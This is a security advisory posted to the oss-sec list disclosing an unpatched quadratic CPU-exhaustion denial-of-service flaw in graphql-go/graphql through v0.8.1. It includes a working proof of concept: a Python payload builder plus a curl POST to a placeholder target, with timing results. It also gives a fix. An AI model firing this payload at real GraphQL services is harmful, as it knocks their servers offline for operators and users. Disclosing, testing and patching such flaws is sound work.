oss-sec mailing list archives

graphql-go/graphql <= 0.8.1: quadratic CPU-exhaustion DoS from a single syntax error


From: William Carrier <0x6675636b736f6369617479 () gmail com>
Date: Sat, 29 Aug 2026 17:59:54 +0200

Hello,

This reports an algorithmic-complexity denial-of-service defect in
github.com/graphql-go/graphql, affecting all released versions up to and
including the latest, v0.8.1. No fixed version exists. It is
unauthenticated, network-reachable, triggered purely by attacker-controlled
query text, and requires no special configuration, a single syntax error,
no schema dependency. Reproduced against the published v0.8.1 module
fetched from the Go module proxy.

A CVE ID has been requested from MITRE and is pending.

== Affected ==

  Product:  github.com/graphql-go/graphql
  Versions: all <= v0.8.1; no fix available
  CWE:      CWE-407 (Inefficient Algorithmic Complexity) / CWE-1050
  CVSS:     CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  = 7.5 (High)

== Details ==

When the parser reports a syntax error, gqlerrors.highlightSourceAtLocation
(gqlerrors/syntax.go) renders the "^" caret line by appending one space per
column in a loop:

    var highlight string
    ...
    for i := 1; i < (2 + padLen + l.Column); i++ {
        highlight += " "                     // Go string += reallocates +
copies all
    }
    highlight += "^\n"

Go string concatenation copies the entire accumulated string on every
iteration, so drawing the caret at column C is O(C^2). The column is
attacker-controlled: one unterminated string literal C bytes long yields
exactly one syntax error at column ~C. A single request is therefore
O(request_size^2) with just ONE syntax error and no schema involvement.

== Proof of concept ==

One POST whose query is an unterminated string literal of C characters:

    # query text:  { f(x: "AAAA...AAAA<newline>) }   with C 'A's before the
newline
    python3 - "$C" <<'PY' > body.json
    import sys, json
    c = int(sys.argv[1])
    q = '{ f(x: "' + 'a'*c + '\n) }'
    sys.stdout.write(json.dumps({"query": q}))
    PY
    curl -s -o /dev/null -w '%{time_total}\n' -X POST http://TARGET/graphql
\
         -H 'Content-Type: application/json' --data-binary @body.json

Measured over HTTP against v0.8.1 (clean quadratic, 2x column ~ 4x time):

    column=50000   (50 KB)   -> 2.1 s
    column=100000  (100 KB)  -> 9.2 s
    column=200000  (200 KB)  -> 54.0 s

== Impact ==

A single unauthenticated ~200 KB request with one syntax error consumes ~54
s of server CPU; a small number of concurrent such requests saturates the
worker pool and denies service. Lowest-effort trigger imaginable: one
malformed literal, any schema, no authentication, no configuration.

== Remediation ==

No fixed release exists. Build the caret padding in one allocation,
strings.Repeat(" ", n), a strings.Builder, or a bytes.Buffer -- instead of
the O(n^2) `highlight += " "` loop.

== Credit ==

  William Carrier, independent security researcher.

Best,

Current thread: